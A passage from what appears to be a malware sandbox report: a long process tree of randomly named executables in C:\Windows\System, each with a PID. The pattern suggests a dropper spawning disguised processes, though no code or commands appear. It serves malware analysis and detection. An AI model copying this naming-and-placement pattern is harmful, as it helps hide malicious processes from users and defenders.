  C:\Windows\System\iqOdJdq.exe
  2⤵
  PID:8304
- C:\Windows\System\OJSZxNj.exe
  C:\Windows\System\OJSZxNj.exe
  2⤵
  PID:8328
- C:\Windows\System\ySVvjfP.exe
  C:\Windows\System\ySVvjfP.exe
  2⤵
  PID:8352
- C:\Windows\System\zLjFCwA.exe
  C:\Windows\System\zLjFCwA.exe
  2⤵
  PID:8384
- C:\Windows\System\yWFuPGS.exe
  C:\Windows\System\yWFuPGS.exe
  2⤵
  PID:8412
- C:\Windows\System\ixalRWV.exe
  C:\Windows\System\ixalRWV.exe
  2⤵
  PID:8432
- C:\Windows\System\FRXySfE.exe
  C:\Windows\System\FRXySfE.exe
  2⤵
  PID:8460
- C:\Windows\System\vxgxKuM.exe
  C:\Windows\System\vxgxKuM.exe
  2⤵
  PID:8484
- C:\Windows\System\GSIraxs.exe
  C:\Windows\System\GSIraxs.exe
  2⤵
  PID:8504
- C:\Windows\System\qwtyueN.exe
  C:\Windows\System\qwtyueN.exe
  2⤵
  PID:8524
- C:\Windows\System\LxIIWHL.exe
  C:\Windows\System\LxIIWHL.exe
  2⤵
  PID:8540
- C:\Windows\System\jZqCOOC.exe
  C:\Windows\System\jZqCOOC.exe
  2⤵
  PID:8636
- C:\Windows\System\ydTvkPX.exe
  C:\Windows\System\ydTvkPX.exe
  2⤵
  PID:8656
- C:\Windows\System\PCZFsJD.exe
  C:\Windows\System\PCZFsJD.exe
  2⤵
  PID:8672
- C:\Windows\System\YhkoaLC.exe
  C:\Windows\System\YhkoaLC.exe
  2⤵
  PID:8688
- C:\Windows\System\QGmLyvN.exe
  C:\Windows\System\QGmLyvN.exe
  2⤵
  PID:8708
- C:\Windows\System\UAYaJUE.exe
  C:\Windows\System\UAYaJUE.exe
  2⤵
  PID:8732
- C:\Windows\System\lEsHSnh.exe
  C:\Windows\System\lEsHSnh.exe
  2⤵
  PID:8752
- C:\Windows\System\VaNGDCg.exe
  C:\Windows\System\VaNGDCg.exe
  2⤵
  PID:8776
- C:\Windows\System\ivSnZro.exe
  C:\Windows\System\ivSnZro.exe
  2⤵
  PID:8796
- C:\Windows\System\jiDBoTQ.exe
  C:\Windows\System\jiDBoTQ.exe
  2⤵
  PID:8816
- C:\Windows\System\fULXVZS.exe
  C:\Windows\System\fULXVZS.exe
  2⤵
  PID:8840
- C:\Windows\System\ZzAVawk.exe
  C:\Windows\System\ZzAVawk.exe
  2⤵
  PID:8864
- C:\Windows\System\TLgyclt.exe
  C:\Windows\System\TLgyclt.exe
  2⤵
  PID:8884
- C:\Windows\System\GfcXjWc.exe
  C:\Windows\System\GfcXjWc.exe
  2⤵
  PID:8904
- C:\Windows\System\SqltGkF.exe
  C:\Windows\System\SqltGkF.exe
  2⤵
  PID:8924
- C:\Windows\System\styhlwG.exe
  C:\Windows\System\styhlwG.exe
  2⤵
  PID:8944
- C:\Windows\System\NEQMoaS.exe
  C:\Windows\System\NEQMoaS.exe
  2⤵
  PID:8968
- C:\Windows\System\QRExuvq.exe
  C:\Windows\System\QRExuvq.exe
  2⤵
  PID:8996
- C:\Windows\System\jaUwGLP.exe
  C:\Windows\System\jaUwGLP.exe
  2⤵
  PID:9016
- C:\Windows\System\uoxNeFi.exe
  C:\Windows\System\uoxNeFi.exe
  2⤵
  PID:9040
- C:\Windows\System\AlDWCkr.exe
  C:\Windows\System\AlDWCkr.exe
  2⤵
  PID:9056
- C:\Windows\System\WgbvAWv.exe
  C:\Windows\System\WgbvAWv.exe
  2⤵
  PID:9084
- C:\Windows\System\AKmQIDA.exe
  C:\Windows\System\AKmQIDA.exe
  2⤵
  PID:9108
- C:\Windows\System\pWUwyGj.exe
  C:\Windows\System\pWUwyGj.exe
  2⤵
  PID:9128
- C:\Windows\System\ohRGteJ.exe
  C:\Windows\System\ohRGteJ.exe
  2⤵
  PID:9144
- C:\Windows\System\kLiuSIm.exe
  C:\Windows\System\kLiuSIm.exe
  2⤵
  PID:9168
- C:\Windows\System\cewqwgs.exe
  C:\Windows\System\cewqwgs.exe
  2⤵
  PID:9192
- C:\Windows\System\ncVqqfj.exe
  C:\Windows\System\ncVqqfj.exe
  2⤵
  PID:9212
- C:\Windows\System\LizTgWU.exe
  C:\Windows\System\LizTgWU.exe
  2⤵
  PID:6640
- C:\Windows\System\ZSCzSoH.exe
  C:\Windows\System\ZSCzSoH.exe
  2⤵
  PID:7244
- C:\Windows\System\hgZiCbj.exe
  C:\Windows\System\hgZiCbj.exe
  2⤵
  PID:7336
- C:\Windows\System\RieaAhe.exe
  C:\Windows\System\RieaAhe.exe
  2⤵
  PID:7376
- C:\Windows\System\eUrpTRy.exe
  C:\Windows\System\eUrpTRy.exe
  2⤵
  PID:6828
- C:\Windows\System\KzMCoui.exe
  C:\Windows\System\KzMCoui.exe
  2⤵
  PID:7440
- C:\Windows\System\ArGCnSC.exe
  C:\Windows\System\ArGCnSC.exe
  2⤵
  PID:6872
- C:\Windows\System\gGXhymN.exe
  C:\Windows\System\gGXhymN.exe
  2⤵
  PID:7556
- C:\Windows\System\FidjVsf.exe
  C:\Windows\System\FidjVsf.exe
  2⤵
  PID:7580
- C:\Windows\System\APkHCMn.exe
  C:\Windows\System\APkHCMn.exe
  2⤵
  PID:7644
- C:\Windows\System\OWfSqSx.exe
  C:\Windows\System\OWfSqSx.exe
  2⤵
  PID:7616
- C:\Windows\System\GQtNCGP.exe
  C:\Windows\System\GQtNCGP.exe
  2⤵
  PID:7764
- C:\Windows\System\BMljUwu.exe
  C:\Windows\System\BMljUwu.exe
  2⤵
  PID:8264
- C:\Windows\System\KflGiyV.exe
  C:\Windows\System\KflGiyV.exe
  2⤵
  PID:8312
- C:\Windows\System\nPVhbus.exe
  C:\Windows\System\nPVhbus.exe
  2⤵
  PID:7852
- C:\Windows\System\VUcgyTQ.exe
  C:\Windows\System\VUcgyTQ.exe
  2⤵
  PID:8392
- C:\Windows\System\iCYYOsF.exe
  C:\Windows\System\iCYYOsF.exe
  2⤵
  PID:8440
- C:\Windows\System\YhyirBb.exe
  C:\Windows\System\YhyirBb.exe
  2⤵
  PID:8500
- C:\Windows\System\DjiZEFr.exe
  C:\Windows\System\DjiZEFr.exe
  2⤵
  PID:9220
- C:\Windows\System\kOxTMpW.exe
  C:\Windows\System\kOxTMpW.exe
  2⤵
  PID:9240
- C:\Windows\System\OJjWUws.exe
  C:\Windows\System\OJjWUws.exe
  2⤵
  PID:9260
- C:\Windows\System\leaqbJF.exe
  C:\Windows\System\leaqbJF.exe
  2⤵
  PID:9284
- C:\Windows\System\ZnxPbMU.exe
  C:\Windows\System\ZnxPbMU.exe
  2⤵
  PID:9308
- C:\Windows\System\zEBskLC.exe
  C:\Windows\System\zEBskLC.exe
  2⤵
  PID:9324
- C:\Windows\System\GHuaQYp.exe
  C:\Windows\System\GHuaQYp.exe
  2⤵
  PID:9348
- C:\Windows\System\VgViuPL.exe
  C:\Windows\System\VgViuPL.exe
  2⤵
  PID:9376
- C:\Windows\System\PCwnPTP.exe
  C:\Windows\System\PCwnPTP.exe
  2⤵
  PID:9392
- C:\Windows\System\ZSSTyAj.exe
  C:\Windows\System\ZSSTyAj.exe
  2⤵
  PID:9416
- C:\Windows\System\aijukni.exe
  C:\Windows\System\aijukni.exe
  2⤵
  PID:9440
- C:\Windows\System\IUlXljO.exe
  C:\Windows\System\IUlXljO.exe
  2⤵
  PID:9456
- C:\Windows\System\ZOiCUCY.exe
  C:\Windows\System\ZOiCUCY.exe
  2⤵
  PID:9488
- C:\Windows\System\yklfyRx.exe
  C:\Windows\System\yklfyRx.exe
  2⤵
  PID:9512
- C:\Windows\System\Whpmfpq.exe
  C:\Windows\System\Whpmfpq.exe
  2⤵
  PID:9528
- C:\Windows\System\ZcssUwc.exe
  C:\Windows\System\ZcssUwc.exe
  2⤵
  PID:9548
- C:\Windows\System\iYnFlxN.exe
  C:\Windows\System\iYnFlxN.exe
  2⤵
  PID:9572
- C:\Windows\System\xjPuoLI.exe
  C:\Windows\System\xjPuoLI.exe
  2⤵
  PID:9592
- C:\Windows\System\LIpdfGm.exe
  C:\Windows\System\LIpdfGm.exe
  2⤵
  PID:9612
- C:\Windows\System\rtNLSiw.exe
  C:\Windows\System\rtNLSiw.exe
  2⤵
  PID:9636
- C:\Windows\System\OnZWtep.exe
  C:\Windows\System\OnZWtep.exe
  2⤵
  PID:9664
- C:\Windows\System\GysEcfN.exe
  C:\Windows\System\GysEcfN.exe
  2⤵
  PID:9680
- C:\Windows\System\CQltKoU.exe
  C:\Windows\System\CQltKoU.exe
  2⤵
  PID:9716
- C:\Windows\System\eXfYkdn.exe
  C:\Windows\System\eXfYkdn.exe
  2⤵
  PID:9736
- C:\Windows\System\LxrNsXY.exe
  C:\Windows\System\LxrNsXY.exe
  2⤵
  PID:9752
- C:\Windows\System\LCRmDBp.exe
  C:\Windows\System\LCRmDBp.exe
  2⤵
  PID:9768
- C:\Windows\System\RPrtLgS.exe
  C:\Windows\System\RPrtLgS.exe
  2⤵
  PID:9788
- C:\Windows\System\JnbVJlc.exe
  C:\Windows\System\JnbVJlc.exe
  2⤵
  PID:9836
- C:\Windows\System\HYknUhN.exe
  C:\Windows\System\HYknUhN.exe
  2⤵
  PID:9852
- C:\Windows\System\AIAIPly.exe
  C:\Windows\System\AIAIPly.exe
  2⤵
  PID:9876
- C:\Windows\System\rlyxUnu.exe
  C:\Windows\System\rlyxUnu.exe
  2⤵
  PID:9904
- C:\Windows\System\zpSfupe.exe
  C:\Windows\System\zpSfupe.exe
  2⤵
  PID:9932
- C:\Windows\System\GyjnvPf.exe
  C:\Windows\System\GyjnvPf.exe
  2⤵
  PID:9952
- C:\Windows\System\FhtjOON.exe
  C:\Windows\System\FhtjOON.exe
  2⤵
  PID:9996
- C:\Windows\System\GZFpWMD.exe
  C:\Windows\System\GZFpWMD.exe
  2⤵
  PID:10016
- C:\Windows\System\gQVAqCF.exe
  C:\Windows\System\gQVAqCF.exe
  2⤵
  PID:10048
- C:\Windows\System\jqRLqHM.exe
  C:\Windows\System\jqRLqHM.exe
  2⤵
  PID:10076
- C:\Windows\System\fMFApxY.exe
  C:\Windows\System\fMFApxY.exe
  2⤵
  PID:10104
- C:\Windows\System\HGgvyuP.exe
  C:\Windows\System\HGgvyuP.exe
  2⤵
  PID:10128
- C:\Windows\System\CysTkDW.exe
  C:\Windows\System\CysTkDW.exe
  2⤵
  PID:10152
- C:\Windows\System\pbwkHWx.exe
  C:\Windows\System\pbwkHWx.exe
  2⤵
  PID:10172
- C:\Windows\System\zZFCBnL.exe
  C:\Windows\System\zZFCBnL.exe
  2⤵
  PID:10208
- C:\Windows\System\LvJasuB.exe
  C:\Windows\System\LvJasuB.exe
  2⤵
  PID:10224
- C:\Windows\System\EihnPgq.exe
  C:\Windows\System\EihnPgq.exe
  2⤵
  PID:5280
- C:\Windows\System\oEmLBGt.exe
  C:\Windows\System\oEmLBGt.exe
  2⤵
  PID:6020
- C:\Windows\System\muRstRY.exe
  C:\Windows\System\muRstRY.exe
  2⤵
  PID:2560
- C:\Windows\System\RkYOdhK.exe
  C:\Windows\System\RkYOdhK.exe
  2⤵
  PID:5520
- C:\Windows\System\TvplluP.exe
  C:\Windows\System\TvplluP.exe
  2⤵
  PID:5656
- C:\Windows\System\cuStrIy.exe
  C:\Windows\System\cuStrIy.exe
  2⤵
  PID:6208
- C:\Windows\System\TkiXsOa.exe
  C:\Windows\System\TkiXsOa.exe
  2⤵
  PID:6540
- C:\Windows\System\EQddPcS.exe
  C:\Windows\System\EQddPcS.exe
  2⤵
  PID:6744
- C:\Windows\System\TKrpfHl.exe
  C:\Windows\System\TKrpfHl.exe
  2⤵
  PID:8684
- C:\Windows\System\JDuxjWQ.exe
  C:\Windows\System\JDuxjWQ.exe
  2⤵
  PID:8728
- C:\Windows\System\yTgklLO.exe
  C:\Windows\System\yTgklLO.exe
  2⤵
  PID:8804
- C:\Windows\System\TkKlrzh.exe
  C:\Windows\System\TkKlrzh.exe
  2⤵
  PID:8832
- C:\Windows\System\bHFMrXM.exe
  C:\Windows\System\bHFMrXM.exe
  2⤵
  PID:8184
- C:\Windows\System\JAiWdzy.exe
  C:\Windows\System\JAiWdzy.exe
  2⤵
  PID:7080
- C:\Windows\System\fnkrKBR.exe
  C:\Windows\System\fnkrKBR.exe
  2⤵
  PID:9028
- C:\Windows\System\oXPjzOF.exe
  C:\Windows\System\oXPjzOF.exe
  2⤵
  PID:7404
- C:\Windows\System\KexOtXQ.exe
  C:\Windows\System\KexOtXQ.exe
  2⤵
  PID:9208
- C:\Windows\System\YAEkIcd.exe
  C:\Windows\System\YAEkIcd.exe
  2⤵
  PID:6740
- C:\Windows\System\qXOvCbK.exe
  C:\Windows\System\qXOvCbK.exe
  2⤵
  PID:8344
- C:\Windows\System\ZbOsWSn.exe
  C:\Windows\System\ZbOsWSn.exe
  2⤵
  PID:7124
- C:\Windows\System\gFcrWRJ.exe
  C:\Windows\System\gFcrWRJ.exe
  2⤵
  PID:7612
- C:\Windows\System\pRDYAnZ.exe
  C:\Windows\System\pRDYAnZ.exe
  2⤵
  PID:7724
- C:\Windows\System\WmdJONU.exe
  C:\Windows\System\WmdJONU.exe
  2⤵
  PID:8284
- C:\Windows\System\WnDjUFw.exe
  C:\Windows\System\WnDjUFw.exe
  2⤵
  PID:4940
- C:\Windows\System\VUTEcVa.exe
  C:\Windows\System\VUTEcVa.exe
  2⤵
  PID:8028
- C:\Windows\System\YWlDWDe.exe
  C:\Windows\System\YWlDWDe.exe
  2⤵
  PID:8064
- C:\Windows\System\EIdGBvk.exe
  C:\Windows\System\EIdGBvk.exe
  2⤵
  PID:8668
- C:\Windows\System\SNpPaoz.exe
  C:\Windows\System\SNpPaoz.exe
  2⤵
  PID:10252
- C:\Windows\System\arAusKd.exe
  C:\Windows\System\arAusKd.exe
  2⤵
  PID:10268
- C:\Windows\System\tWCGkAx.exe
  C:\Windows\System\tWCGkAx.exe
  2⤵
  PID:10292
- C:\Windows\System\zINqhWs.exe
  C:\Windows\System\zINqhWs.exe
  2⤵
  PID:10320
- C:\Windows\System\AYcFcsO.exe
  C:\Windows\System\AYcFcsO.exe
  2⤵
  PID:10344
- C:\Windows\System\VtDMVGe.exe
  C:\Windows\System\VtDMVGe.exe
  2⤵
  PID:10364
- C:\Windows\System\WxNrLKA.exe
  C:\Windows\System\WxNrLKA.exe
  2⤵
  PID:10392
- C:\Windows\System\jgXpUhm.exe
  C:\Windows\System\jgXpUhm.exe
  2⤵
  PID:10412
- C:\Windows\System\MKaCEoV.exe
  C:\Windows\System\MKaCEoV.exe
  2⤵
  PID:10436
- C:\Windows\System\SjuLnDx.exe
  C:\Windows\System\SjuLnDx.exe
  2⤵
  PID:10464
- C:\Windows\System\GIWJpVI.exe
  C:\Windows\System\GIWJpVI.exe
  2⤵
  PID:10480
- C:\Windows\System\xCtjyqO.exe
  C:\Windows\System\xCtjyqO.exe
  2⤵
  PID:10496
- C:\Windows\System\GqySCzN.exe
  C:\Windows\System\GqySCzN.exe
  2⤵
  PID:10512
- C:\Windows\System\cYIVDAB.exe
  C:\Windows\System\cYIVDAB.exe
  2⤵
  PID:10540
- C:\Windows\System\PiAaZyA.exe
  C:\Windows\System\PiAaZyA.exe
  2⤵
  PID:10560
- C:\Windows\System\UbGucpQ.exe
  C:\Windows\System\UbGucpQ.exe
  2⤵
  PID:10580
- C:\Windows\System\Vbszzpd.exe
  C:\Windows\System\Vbszzpd.exe
  2⤵
  PID:10604
- C:\Windows\System\DgBEgVb.exe
  C:\Windows\System\DgBEgVb.exe
  2⤵
  PID:10628
- C:\Windows\System\SeOjoMW.exe
  C:\Windows\System\SeOjoMW.exe
  2⤵
  PID:10652
- C:\Windows\System\XUbtDrD.exe
  C:\Windows\System\XUbtDrD.exe
  2⤵
  PID:10672
- C:\Windows\System\dGhTrGq.exe
  C:\Windows\System\dGhTrGq.exe
  2⤵
  PID:10700
- C:\Windows\System\rwhRzUK.exe
  C:\Windows\System\rwhRzUK.exe
  2⤵
  PID:10716
- C:\Windows\System\aGNGLlR.exe
  C:\Windows\System\aGNGLlR.exe
  2⤵
  PID:10740
- C:\Windows\System\PZdLWjz.exe
  C:\Windows\System\PZdLWjz.exe
  2⤵
  PID:10760
- C:\Windows\System\tUQCwBg.exe
  C:\Windows\System\tUQCwBg.exe
  2⤵
  PID:10780
- C:\Windows\System\DJzCOlg.exe
  C:\Windows\System\DJzCOlg.exe
  2⤵
  PID:10804
- C:\Windows\System\jWLKCDp.exe
  C:\Windows\System\jWLKCDp.exe
  2⤵
  PID:10824
- C:\Windows\System\oGjVCjq.exe
  C:\Windows\System\oGjVCjq.exe
  2⤵
  PID:10848
- C:\Windows\System\EJUvtsv.exe
  C:\Windows\System\EJUvtsv.exe
  2⤵
  PID:10872
- C:\Windows\System\sOAAgTf.exe
  C:\Windows\System\sOAAgTf.exe
  2⤵
  PID:10896
- C:\Windows\System\gXBURSX.exe
  C:\Windows\System\gXBURSX.exe
  2⤵
  PID:10916
- C:\Windows\System\cEqPPyY.exe
  C:\Windows\System\cEqPPyY.exe
  2⤵
  PID:10944
- C:\Windows\System\gkhburY.exe
  C:\Windows\System\gkhburY.exe
  2⤵
  PID:10968
- C:\Windows\System\kmUmLfC.exe
  C:\Windows\System\kmUmLfC.exe
  2⤵
  PID:10992
- C:\Windows\System\nProdLB.exe
  C:\Windows\System\nProdLB.exe
  2⤵
  PID:11012
- C:\Windows\System\wacuwMx.exe
  C:\Windows\System\wacuwMx.exe
  2⤵
  PID:11036
- C:\Windows\System\xtnbeff.exe
  C:\Windows\System\xtnbeff.exe
  2⤵
  PID:11060
- C:\Windows\System\gpeBSpq.exe
  C:\Windows\System\gpeBSpq.exe
  2⤵
  PID:11084
- C:\Windows\System\mbfeqXs.exe
  C:\Windows\System\mbfeqXs.exe
  2⤵
  PID:11100
- C:\Windows\System\hTHDbLI.exe
  C:\Windows\System\hTHDbLI.exe
  2⤵
  PID:11124
- C:\Windows\System\GkAOxkZ.exe
  C:\Windows\System\GkAOxkZ.exe
  2⤵
  PID:11148
- C:\Windows\System\vhniTlx.exe
  C:\Windows\System\vhniTlx.exe
  2⤵
  PID:11172
- C:\Windows\System\WMwpXLZ.exe
  C:\Windows\System\WMwpXLZ.exe
  2⤵
  PID:11196
- C:\Windows\System\EtCXpbP.exe
  C:\Windows\System\EtCXpbP.exe
  2⤵
  PID:11216
- C:\Windows\System\WNoCcMU.exe
  C:\Windows\System\WNoCcMU.exe
  2⤵
  PID:11236
- C:\Windows\System\YdiYBZb.exe
  C:\Windows\System\YdiYBZb.exe
  2⤵
  PID:10024
- C:\Windows\System\hUlCEus.exe
  C:\Windows\System\hUlCEus.exe
  2⤵
  PID:9064
- C:\Windows\System\IQKATyS.exe
  C:\Windows\System\IQKATyS.exe
  2⤵
  PID:7276
- C:\Windows\System\koPmNSw.exe
  C:\Windows\System\koPmNSw.exe
  2⤵
  PID:7300
- C:\Windows\System\xZgQdxv.exe
  C:\Windows\System\xZgQdxv.exe
  2⤵
  PID:7932
- C:\Windows\System\fxPbuue.exe
  C:\Windows\System\fxPbuue.exe
  2⤵
  PID:7464
- C:\Windows\System\vYWvCnv.exe
  C:\Windows\System\vYWvCnv.exe
  2⤵
  PID:8492
- C:\Windows\System\oKGMbtn.exe
  C:\Windows\System\oKGMbtn.exe
  2⤵
  PID:8420
- C:\Windows\System\mNlXbhW.exe
  C:\Windows\System\mNlXbhW.exe
  2⤵
  PID:8560
- C:\Windows\System\QrHGBdE.exe
  C:\Windows\System\QrHGBdE.exe
  2⤵
  PID:8620
- C:\Windows\System\jqSunkH.exe
  C:\Windows\System\jqSunkH.exe
  2⤵
  PID:8920
- C:\Windows\System\WRLqqkl.exe
  C:\Windows\System\WRLqqkl.exe
  2⤵
  PID:7824
- C:\Windows\System\zYprewg.exe
  C:\Windows\System\zYprewg.exe
  2⤵
  PID:11280
- C:\Windows\System\Evxzynu.exe
  C:\Windows\System\Evxzynu.exe
  2⤵
  PID:11308
- C:\Windows\System\TklWpsf.exe
  C:\Windows\System\TklWpsf.exe
  2⤵
  PID:11336
- C:\Windows\System\uCMQTXA.exe
  C:\Windows\System\uCMQTXA.exe
  2⤵
  PID:11360
- C:\Windows\System\KqKhDLB.exe
  C:\Windows\System\KqKhDLB.exe
  2⤵
  PID:11384
- C:\Windows\System\culmmSa.exe
  C:\Windows\System\culmmSa.exe
  2⤵
  PID:11408
- C:\Windows\System\YjPQkKu.exe
  C:\Windows\System\YjPQkKu.exe
  2⤵
  PID:11432
- C:\Windows\System\BEvuMCy.exe
  C:\Windows\System\BEvuMCy.exe
  2⤵
  PID:11452
- C:\Windows\System\CslkZrr.exe
  C:\Windows\System\CslkZrr.exe
  2⤵
  PID:11468
- C:\Windows\System\rSSNKuj.exe
  C:\Windows\System\rSSNKuj.exe
  2⤵
  PID:11504
- C:\Windows\System\ebsQgje.exe
  C:\Windows\System\ebsQgje.exe
  2⤵
  PID:11528
- C:\Windows\System\jumYSje.exe
  C:\Windows\System\jumYSje.exe
  2⤵
  PID:11560
- C:\Windows\System\Lxaunex.exe
  C:\Windows\System\Lxaunex.exe
  2⤵
  PID:11576
- C:\Windows\System\daDlSKJ.exe
  C:\Windows\System\daDlSKJ.exe
  2⤵
  PID:11592
- C:\Windows\System\IXbIoDB.exe
  C:\Windows\System\IXbIoDB.exe
  2⤵
  PID:11608
- C:\Windows\System\HcqcRqZ.exe
  C:\Windows\System\HcqcRqZ.exe
  2⤵
  PID:11628
- C:\Windows\System\FccFCdz.exe
  C:\Windows\System\FccFCdz.exe
  2⤵
  PID:11644
- C:\Windows\System\LAjhAPd.exe
  C:\Windows\System\LAjhAPd.exe
  2⤵
  PID:11664
- C:\Windows\System\yzOOJhh.exe
  C:\Windows\System\yzOOJhh.exe
  2⤵
  PID:11688
- C:\Windows\System\SkjCKOw.exe
  C:\Windows\System\SkjCKOw.exe
  2⤵
  PID:11708
- C:\Windows\System\VjRLVfQ.exe
  C:\Windows\System\VjRLVfQ.exe
  2⤵
  PID:11732
- C:\Windows\System\eSPYOyp.exe
  C:\Windows\System\eSPYOyp.exe
  2⤵
  PID:11756
- C:\Windows\System\qDdIaFp.exe
  C:\Windows\System\qDdIaFp.exe
  2⤵
  PID:11776
- C:\Windows\System\DPKaXuS.exe
  C:\Windows\System\DPKaXuS.exe
  2⤵
  PID:11796
- C:\Windows\System\ZqGHzlQ.exe
  C:\Windows\System\ZqGHzlQ.exe
  2⤵
  PID:11824
- C:\Windows\System\RHLuqgs.exe
  C:\Windows\System\RHLuqgs.exe
  2⤵
  PID:11848
- C:\Windows\System\eYFiTsO.exe
  C:\Windows\System\eYFiTsO.exe
  2⤵
  PID:11880
- C:\Windows\System\ocZaxqi.exe
  C:\Windows\System\ocZaxqi.exe
  2⤵
  PID:12092
- C:\Windows\System\pNMXkds.exe
  C:\Windows\System\pNMXkds.exe
  2⤵
  PID:12120
- C:\Windows\System\aiFIXcy.exe
  C:\Windows\System\aiFIXcy.exe
  2⤵
  PID:12144
- C:\Windows\System\uabjSoE.exe
  C:\Windows\System\uabjSoE.exe
  2⤵
  PID:12164
- C:\Windows\System\BdsWoyv.exe
  C:\Windows\System\BdsWoyv.exe
  2⤵
  PID:12188
- C:\Windows\System\RyUwWEr.exe
  C:\Windows\System\RyUwWEr.exe
  2⤵
  PID:12208
- C:\Windows\System\siXmfGJ.exe
  C:\Windows\System\siXmfGJ.exe
  2⤵
  PID:12228
- C:\Windows\System\KocBHoP.exe
  C:\Windows\System\KocBHoP.exe
  2⤵
  PID:12248
- C:\Windows\System\yFMpSiG.exe
  C:\Windows\System\yFMpSiG.exe
  2⤵
  PID:12276
- C:\Windows\System\FcvEclE.exe
  C:\Windows\System\FcvEclE.exe
  2⤵
  PID:10288
- C:\Windows\System\UWgotcX.exe
  C:\Windows\System\UWgotcX.exe
  2⤵
  PID:10452
- C:\Windows\System\djcXHVE.exe
  C:\Windows\System\djcXHVE.exe
  2⤵
  PID:10684
- C:\Windows\System\TscpTjN.exe
  C:\Windows\System\TscpTjN.exe
  2⤵
  PID:8764
- C:\Windows\System\cwXgLbA.exe
  C:\Windows\System\cwXgLbA.exe
  2⤵
  PID:8984
- C:\Windows\System\NLzKwSV.exe
  C:\Windows\System\NLzKwSV.exe
  2⤵
  PID:10776
- C:\Windows\System\HYmZPdP.exe
  C:\Windows\System\HYmZPdP.exe
  2⤵
  PID:9124
- C:\Windows\System\siBMdDo.exe
  C:\Windows\System\siBMdDo.exe
  2⤵
  PID:10072
- C:\Windows\System\MTjEXxI.exe
  C:\Windows\System\MTjEXxI.exe
  2⤵
  PID:7476
- C:\Windows\System\qEjAgtL.exe
  C:\Windows\System\qEjAgtL.exe
  2⤵
  PID:7576
- C:\Windows\System\VrRiOIf.exe
  C:\Windows\System\VrRiOIf.exe
  2⤵
  PID:7848
- C:\Windows\System\UGTufKS.exe
  C:\Windows\System\UGTufKS.exe
  2⤵
  PID:11252
- C:\Windows\System\SVsdCfg.exe
  C:\Windows\System\SVsdCfg.exe
  2⤵
  PID:9276
- C:\Windows\System\pFjWEkW.exe
  C:\Windows\System\pFjWEkW.exe
  2⤵
  PID:9316
- C:\Windows\System\bLIqtIp.exe
  C:\Windows\System\bLIqtIp.exe
  2⤵
  PID:9364
- C:\Windows\System\sssPEej.exe
  C:\Windows\System\sssPEej.exe
  2⤵
  PID:9404
- C:\Windows\System\SQLJUNg.exe
  C:\Windows\System\SQLJUNg.exe
  2⤵
  PID:9452
- C:\Windows\System\cHPxYhF.exe
  C:\Windows\System\cHPxYhF.exe
  2⤵
  PID:9496
- C:\Windows\System\uxuhCCx.exe
  C:\Windows\System\uxuhCCx.exe
  2⤵
  PID:9544
- C:\Windows\System\TBqVQdw.exe
  C:\Windows\System\TBqVQdw.exe
  2⤵
  PID:9604
- C:\Windows\System\ZMnWPuK.exe
  C:\Windows\System\ZMnWPuK.exe
  2⤵
  PID:9644
- C:\Windows\System\uGcBFyd.exe
  C:\Windows\System\uGcBFyd.exe
  2⤵
  PID:9692
- C:\Windows\System\UmvGfIf.exe
  C:\Windows\System\UmvGfIf.exe
  2⤵
  PID:9924
- C:\Windows\System\XtGmWaZ.exe
  C:\Windows\System\XtGmWaZ.exe
  2⤵
  PID:9888
- C:\Windows\System\urnZehr.exe
  C:\Windows\System\urnZehr.exe
  2⤵
  PID:9860
- C:\Windows\System\FcsjfaU.exe
  C:\Windows\System\FcsjfaU.exe
  2⤵
  PID:4468
- C:\Windows\System\sRDyzzr.exe
  C:\Windows\System\sRDyzzr.exe
  2⤵
  PID:9764
- C:\Windows\System\RRLfqxx.exe
  C:\Windows\System\RRLfqxx.exe
  2⤵
  PID:9732
- C:\Windows\System\MQYOGDY.exe
  C:\Windows\System\MQYOGDY.exe
  2⤵
  PID:9708
- C:\Windows\System\CgpfWcS.exe
  C:\Windows\System\CgpfWcS.exe
  2⤵
  PID:9032
- C:\Windows\System\pfTlvfv.exe
  C:\Windows\System\pfTlvfv.exe
  2⤵
  PID:12312
- C:\Windows\System\xvnjTLb.exe
  C:\Windows\System\xvnjTLb.exe
  2⤵
  PID:12336
- C:\Windows\System\yneIwOY.exe
  C:\Windows\System\yneIwOY.exe
  2⤵
  PID:12356
- C:\Windows\System\jvTneEm.exe
  C:\Windows\System\jvTneEm.exe
  2⤵
  PID:12380
- C:\Windows\System\ebWqMRP.exe
  C:\Windows\System\ebWqMRP.exe
  2⤵
  PID:12404
- C:\Windows\System\VRskqJS.exe
  C:\Windows\System\VRskqJS.exe
  2⤵
  PID:12428
- C:\Windows\System\vHytPFz.exe
  C:\Windows\System\vHytPFz.exe
  2⤵
  PID:12452
- C:\Windows\System\NmeIztf.exe
  C:\Windows\System\NmeIztf.exe
  2⤵
  PID:12476
- C:\Windows\System\oseZTvd.exe
  C:\Windows\System\oseZTvd.exe
  2⤵
  PID:12496
- C:\Windows\System\RrBEzvV.exe
  C:\Windows\System\RrBEzvV.exe
  2⤵
  PID:12516
- C:\Windows\System\FVeJTNv.exe
  C:\Windows\System\FVeJTNv.exe
  2⤵
  PID:12544
- C:\Windows\System\eMxbeRv.exe
  C:\Windows\System\eMxbeRv.exe
  2⤵
  PID:12564
- C:\Windows\System\GpQwDig.exe
  C:\Windows\System\GpQwDig.exe
  2⤵
  PID:12584
- C:\Windows\System\Bkthuke.exe
  C:\Windows\System\Bkthuke.exe
  2⤵
  PID:12600
- C:\Windows\System\yzsJlOr.exe
  C:\Windows\System\yzsJlOr.exe
  2⤵
  PID:12620
- C:\Windows\System\AEwaEfW.exe
  C:\Windows\System\AEwaEfW.exe
  2⤵
  PID:12644
- C:\Windows\System\OuScTky.exe
  C:\Windows\System\OuScTky.exe
  2⤵
  PID:12680
- C:\Windows\System\uayQlDR.exe
  C:\Windows\System\uayQlDR.exe
  2⤵
  PID:12700
- C:\Windows\System\SZOdOnj.exe
  C:\Windows\System\SZOdOnj.exe
  2⤵
  PID:12716
- C:\Windows\System\nUgdvFO.exe
  C:\Windows\System\nUgdvFO.exe
  2⤵
  PID:12736
- C:\Windows\System\YIZbuSu.exe
  C:\Windows\System\YIZbuSu.exe
  2⤵
  PID:12756
- C:\Windows\System\bxjBbSp.exe
  C:\Windows\System\bxjBbSp.exe
  2⤵
  PID:12780
- C:\Windows\System\aiytTgW.exe
  C:\Windows\System\aiytTgW.exe
  2⤵
  PID:12808
- C:\Windows\System\IABOudI.exe
  C:\Windows\System\IABOudI.exe
  2⤵
  PID:12828
- C:\Windows\System\eJKaAqK.exe
  C:\Windows\System\eJKaAqK.exe
  2⤵
  PID:12852
- C:\Windows\System\IPJOdII.exe
  C:\Windows\System\IPJOdII.exe
  2⤵
  PID:12872
